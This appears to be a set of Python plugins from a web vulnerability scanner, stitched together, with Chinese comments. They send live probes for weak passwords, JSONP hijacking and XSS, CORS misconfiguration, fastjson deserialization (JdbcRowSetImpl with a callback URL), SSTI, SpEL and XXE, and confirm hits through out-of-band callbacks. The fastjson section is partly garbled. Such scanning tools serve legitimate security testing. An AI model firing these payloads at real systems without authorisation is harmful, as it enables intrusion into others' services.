def check_logic(self, request_raw): """ 判断能否查看passwd或者执行wget命令 :param request_raw: :return: """ http_method = str(request_raw["method"]).lower() temp_url = str(request_raw["url"]).strip() temp_headers = http_util.header_to_lowercase( json.loads(request_raw['headers'])) content_type = temp_headers[ "content-type"] if temp_headers is not None and http_util.ContentType.NAME.lower( ) in temp_headers else None temp_data = request_raw['data'] if "data" in request_raw else None self.check_passwd(request_raw, http_method, temp_url, temp_headers, content_type, temp_data) if self.result["status"]: return self.wget_linux(request_raw, http_method, temp_url, temp_headers, content_type, temp_data) if self.result["status"]: return self.start_windows(request_raw, http_method, temp_url, temp_headers, content_type, temp_data) if self.result["status"]: return
def check_logic(self, request_raw): """ 检测password字段是否为弱密码 :param package: :return: """ http_method = str(request_raw["method"]).lower() temp_url = str(request_raw["url"]).strip() temp_headers = header_to_lowercase(json.loads(request_raw['headers'])) content_type = temp_headers[ "content-type"] if temp_headers is not None and ContentType.NAME.lower( ) in temp_headers else None temp_data = request_raw['data'] if "data" in request_raw else None http_parameter = self.get_parser_class(request_raw).get_parameter( url=temp_url, data=temp_data, http_method=http_method, content_type=content_type) for key, value in http_parameter.items(): if key.lower() in ["pass", "password", "pass_word", "passwd"]: if self.is_weak_password(http_parameter[key]): self.result['status'] = True self.result[ 'info'] = '%s 存在一个weak_pass漏洞' % request_raw['url'] self.result['payload'] = http_parameter return
def check_logic(self, request_raw): """ 检测逻辑,jsonp 水坑攻击只会存在于GET请求中,检测方式,看能否自定义设置CALLBACK :param request_raw: :return: """ http_method = str(request_raw["method"]).lower() temp_url = str(request_raw["url"]).strip() temp_headers = header_to_lowercase(json.loads(request_raw['headers'])) if http_method == HttpMethod.GET: parameters = self.get_parser_class(request_raw).get_parameter( url=temp_url, data=None, http_method=HttpMethod.GET, content_type=None) if parameters is not None and "callback" in parameters: url = str(temp_url).replace(parameters["callback"], "hunter_jsonp") try: req = requests.get(url=url, headers=temp_headers, timeout=5) response_content = req.content.decode("utf-8") response_json = re.findall( r'hunter_jsonp\(([\s\S\u4e00-\u9fa5]*)\)', response_content, re.S)[0] response_json = json.loads(response_json) self.result['status'] = True self.result[ 'info'] = '%s 存在一个jsonp劫持漏洞' % request_raw['url'] self.result['payload'] = "访问: %s" % url except (IndexError, JSONDecodeError) as e: if str(e) not in self.result['error']: self.result['error'].append(str(e))
def check_logic(self, request_raw): """ 检测逻辑 :param request_raw: :return: """ http_method = str(request_raw["method"]).lower() temp_url = str(request_raw["url"]).strip() temp_headers = header_to_lowercase(json.loads(request_raw['headers'])) if http_method == HttpMethod.GET: parameters = self.get_parser_class(request_raw).get_parameter(url=temp_url, data=None, http_method=HttpMethod.GET, content_type=None) if parameters is not None and "callback" in parameters: url = str(temp_url).replace(parameters["callback"], "<svg/onload=alert(1)>") try: req = requests.get(url=url, headers=temp_headers, timeout=5) response_content = req.content.decode("utf-8") response_headers = req.headers if "<svg/onload=alert(1)>" in response_content and ("Content-Type" not in response_headers or ( "Content-Type" in response_headers and "text/html" in response_headers[ "Content-Type"])): self.result['status'] = True self.result['info'] = '%s 存在一个jsonp参数可控造成的xss漏洞' % request_raw['url'] self.result['payload'] = "访问: %s" % url except (JSONDecodeError) as e: if str(e) not in self.result['error']: self.result['error'].append(str(e))
def check_logic(self, request_raw): """ cors 检测漏洞模块 作用域: request header 增加 origin:*.xx*.com来看具体的结果,因为有些可以绕过正则 """ origins = ["b{}".format(get_top_domain(request_raw['url'])), "NULL"] http_method = str(request_raw["method"]).lower() temp_url = str(request_raw["url"]).strip() temp_headers = header_to_lowercase(json.loads(request_raw['headers'])) content_type = temp_headers[ "content-type"] if temp_headers is not None and ContentType.NAME.lower( ) in temp_headers else None temp_data = request_raw['data'] if "data" in request_raw else None if "User-Agent" not in temp_headers: temp_headers['User-Agent'] = UserAgent.PCDevices.CHROME_MAC response = None for origin in origins: temp_headers['Origin'] = origin if BaseChecker.get_parser_name( request_raw) == BaseTrafficParser.CHROME_PARSER: raw_data = ChromeTrafficParser.to_raw(temp_url, temp_data, http_method, content_type) elif BaseChecker.get_parser_name( request_raw) == BaseTrafficParser.DEAFAULT_PARSER: raw_data = { "url": temp_url, "data": temp_data, "http_method": http_method, "content_type": content_type } try: response = requests.request( method=raw_data["http_method"], url=raw_data['url'], data=raw_data["data"].encode('utf-8'), headers=temp_headers, timeout=5) # 判断是否为静态文件 if response and "Content-Type" in response.headers and response.headers[ "Content-Type"].split( ";" )[0] in ContentType.StaticResourceContentType.static_resource_list: return if response and "Access-Control-Allow-Origin" in response.headers and ( response.headers['Access-Control-Allow-Origin'] == "*" or response.headers["Access-Control-Allow-Origin"] == origin): self.result['status'] = True self.result['info'] = '%s 存在一个cors漏洞' % request_raw['url'] self.result['payload'] = "origin: %s" % origin except Exception: pass
def check_logic(self, request_raw): """ 检测漏洞模块,只有DNS模块有效 1.构造poc发送请求, 两种情况 1,普通参数 将其转成json 2.xml将其转成json 3.然后多加 "@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://*****:*****@type'] = "com.sun.rowset.JdbcRowSetImpl" poc_data["dataSourceName"] = attack_payload + "/poc" poc_data["autoCommit"] = "true" # temp_headers["content-type:"] = "application/json;" try: requests.post(url=temp_url, data=json.dumps(poc_data), headers=temp_headers, timeout=5, verify=False) except Exception: pass req = requests.get(check_blind_poc_url, headers={"token": hunter_log_api_token}, timeout=5) if req: response = req.json() if "status" in response and response["status"] == 200: self.result['status'] = True self.result[ 'info'] = '%s 存在一个fastjson反序列化漏洞' % request_raw['url'] self.result['payload'] = temp_data
def parse_package(self): """ 将从mq中获得的数据解析 ,xssFork会自动解析参数,json还是普通data :return: """ url = self.package['url'] if "url" in self.package else None http_method = str( self.package["method"]) if "method" in self.package else None header = header_to_lowercase(json.loads( self.package["headers"])) if "headers" in self.package else None data = self.parse_data(self.package, header) return url, http_method, data, header
def parse_package(self): """ 将从mq中获得的数据解析 ,sqlmap会自动解析参数,json还是普通data :return: """ header = None cookie = None url = self.package['url'] if "url" in self.package else None if "headers" in self.package: header = header_to_lowercase(json.loads(self.package["headers"])) if "Cookie" in json.loads(self.package["headers"]): cookie = json.loads(self.package["headers"])['Cookie'] if header: header = header_to_str(header) data = self.parse_data(self.package, header) return url, data, cookie, header
def parse_package(package): """ 解析数据包 :param package: :return: """ http_method = str(package["method"]).lower() temp_url = str(package["url"]).strip() temp_headers = http_util.header_to_lowercase(json.loads(package['headers'])) content_type = temp_headers[ "content-type"] if temp_headers is not None and http_util.ContentType.NAME.lower() in temp_headers else None temp_data = package['data'] if "data" in package else None parser_result = BaseChecker.get_parser_class(package).simplify_request(url=temp_url, data=temp_data, http_method=http_method, content_type=content_type) return parser_result["url"], json.dumps(parser_result)
def check_logic(self, request_raw): """ 比较多步骤 1.判断是 {{ '7'*7 }} ,${{ '7'*7 }} {'7'*7} ${'7'*7} ('7'*7) $('7'*7) $(('7'*7)) (('7'*7))是否变成 7777777 :param request_raw: :return: """ http_method = str(request_raw["method"]).lower() temp_url = str(request_raw["url"]).strip() temp_headers = http_util.header_to_lowercase( json.loads(request_raw['headers'])) content_type = temp_headers[ "content-type"] if temp_headers is not None and http_util.ContentType.NAME.lower( ) in temp_headers else None temp_data = request_raw['data'] if "data" in request_raw else None operation_result = "7777777" for ssti_inject_poc in [ "{{ '7'*7 }}", "${{ '7'*7 }}", "{'7'*7}", "${'7'*7}", "('7'*7)", "$('7'*7)", "$(('7'*7))", "(('7'*7))" ]: payload = self.get_parser_class(request_raw).add_poc_data( url=temp_url, data=temp_data, http_method=http_method, content_type=content_type, poc=ssti_inject_poc) req = None try: req = requests.request(method=payload["http_method"], url=payload["url"], data=payload["data"], headers=temp_headers, timeout=5, verify=False) except Exception: pass if req: res_content = req.content.decode("utf-8") if res_content and operation_result in res_content: self.result['status'] = True self.result['info'] = '%s 存在一个模版注入漏洞' % request_raw['url'] self.result['payload'] = payload return
def create_urlclassifications(task_id, post_data): """ 用于对抓取到的url进行分类,类型为hash,md5:str(),第一次存入返回true表示为新链接 :return: """ try: post_data["data"].pop('requestid') request_raw = post_data["data"] http_method = str(request_raw["method"]).lower() url = str(request_raw["url"]).strip() headers = http_util.header_to_lowercase( json.loads(request_raw['headers'])) content_type = headers[ "content-type"] if headers is not None and http_util.ContentType.NAME.lower( ) in headers else None data = request_raw['data'] if "data" in request_raw else None simplify_request = BaseChecker.get_parser_class( request_raw).simplify_request(url=url, data=data, http_method=http_method, content_type=content_type) simplify_request_str = json.dumps(simplify_request) # 请求解析归类之后的MD5 simplify_request_md5 = hashlib.new( 'md5', simplify_request_str.encode("utf-8")).hexdigest() if not RedisManage.get_redis_client().hexists( "{}{}".format(RedisService.HUNTER_URLCLASSIFICATIONS_KEYS, str(task_id)), simplify_request_md5): RedisManage.get_redis_client().hset( RedisService.HUNTER_URLCLASSIFICATIONS_KEYS + str(task_id), simplify_request_md5, simplify_request_str) return True return False except Exception: RedisService.logger.exception("create_urlclassifications error") return False
def check_logic(self, request_raw): """ spel表达式执行漏洞 :param request_raw: :return: """ http_method = str(request_raw["method"]).lower() temp_url = str(request_raw["url"]).strip() temp_headers = header_to_lowercase(json.loads(request_raw['headers'])) temp_data = request_raw['data'] if "data" in request_raw else None content_type = temp_headers[ "content-type"] if temp_headers is not None and ContentType.NAME.lower( ) in temp_headers else None blind_poc, check_blind_poc_url, hunter_log_api_token = self.generate_blind_poc( ) if not blind_poc["data"]: return if blind_poc["type"] == "dns": attack_payload = "http://%s" % (blind_poc["data"] ) # 得到的是一个域名,域名前缀为uuid elif blind_poc["type"] == "socket": attack_payload = "http://%s:%s/%s" % (blind_poc["data"]["host"], blind_poc["data"]["port"], blind_poc["data"]["uuid"]) if http_method == HttpMethod.POST: if BaseChecker.get_parser_name( request_raw) == BaseTrafficParser.CHROME_PARSER: request_raw = ChromeTrafficParser.to_raw( url=temp_url, data=temp_data, http_method=http_method, content_type=content_type) else: request_raw = { "url": temp_url, "data": temp_data, "http_method": http_method, "content_type": content_type } curl_post_data = self.get_post_data(request_raw["data"], attack_payload, "curl") requests.request(method=http_method, url=temp_url, data=curl_post_data, headers=temp_headers, timeout=5) req = requests.get(check_blind_poc_url, headers={"token": hunter_log_api_token}, timeout=5) if req: response = req.json() if "status" in response and response["status"] == 200: self.result['status'] = True self.result[ 'info'] = '%s 存在一个spel执行漏洞' % request_raw['url'] self.result['payload'] = curl_post_data
def check_logic(self, request_raw): """ xpath http://www.freebuf.com/sectool/169122.html xpath http://www.freebuf.com/articles/web/23184.html 检测思路如下: 1.抓取到请求,如果是get请求,那么将参数的值设置为<!DOCTYPE example [<!ENTITY % xxe SYSTEM "http://127.0.0.1:2334">%xxe;]> 2.查看weblog中的请求是不是已经接收到了 3.如果是post,那么将content-type 设置为xml,并且将post的数据(可能是json或者普通data)等价转换成xml并加入<!DOCTYPE filed SYSTEM "http://127.0.0.1/xxe.txt"> 注意要使用filed这个参数 4.如果是get,可以将请求转换成post再进行3的操作 post字段转换流程,对于字段urlencode name=admin&password=admin 转换成 <name>admin</name><password>admin</password> 对于json格式{"user": {"name": "admin", "password": "******"}} 转换成 <user><name>admin</name><password>admin</password></user> 对于xml格式不做任何转换,如 <name>admin</name><password>admin</password>,直接添加<!DOCTYPE example [<!ENTITY % xxe SYSTEM "http://127.0.0.1:2334">%xxe;]> # 这里有一个坑, nginx获取请求body的时候会将 <root></root> 变成 {"<root>23333<\/root>": true} :param package: :return: """ http_method = str(request_raw["method"]).lower() temp_url = str(request_raw["url"]).strip() temp_headers = http_util.header_to_lowercase( json.loads(request_raw['headers'])) content_type = temp_headers[ "content-type"] if temp_headers is not None and http_util.ContentType.NAME.lower( ) in temp_headers else None temp_data = request_raw['data'] if "data" in request_raw else None # 获取检测api blind_poc, check_blind_poc_url, hunter_log_api_token = self.generate_blind_poc( ) if not blind_poc["data"]: return if blind_poc["type"] == "dns": attack_payload = "http://%s" % (blind_poc["data"] ) # 得到的是一个域名,域名前缀为uuid elif blind_poc["type"] == "socket": attack_payload = "http://%s:%s/%s" % (blind_poc["data"]["host"], blind_poc["data"]["port"], blind_poc["data"]["uuid"]) xml_poc = parse.quote( '<?xml version="1.0" encoding="utf-8"?>' '<!DOCTYPE hunter [<!ENTITY % xxe SYSTEM "{attack_payload}">%xxe;]>' .format(attack_payload=attack_payload)) try: payload = self.get_parser_class(request_raw).add_poc_data( url=temp_url, data=temp_data, http_method=http_method, content_type=content_type, poc=xml_poc) requests.request(method=payload["http_method"], url=payload["url"], data=payload["data"], headers=temp_headers, timeout=5, verify=False) except Exception: pass req = requests.get(check_blind_poc_url, headers={"token": hunter_log_api_token}, timeout=5) if req: response = req.json() if "status" in response and response["status"] == 200: self.result['status'] = True self.result['info'] = '%s 存在一个xxe漏洞' % request_raw['url'] self.result['payload'] = payload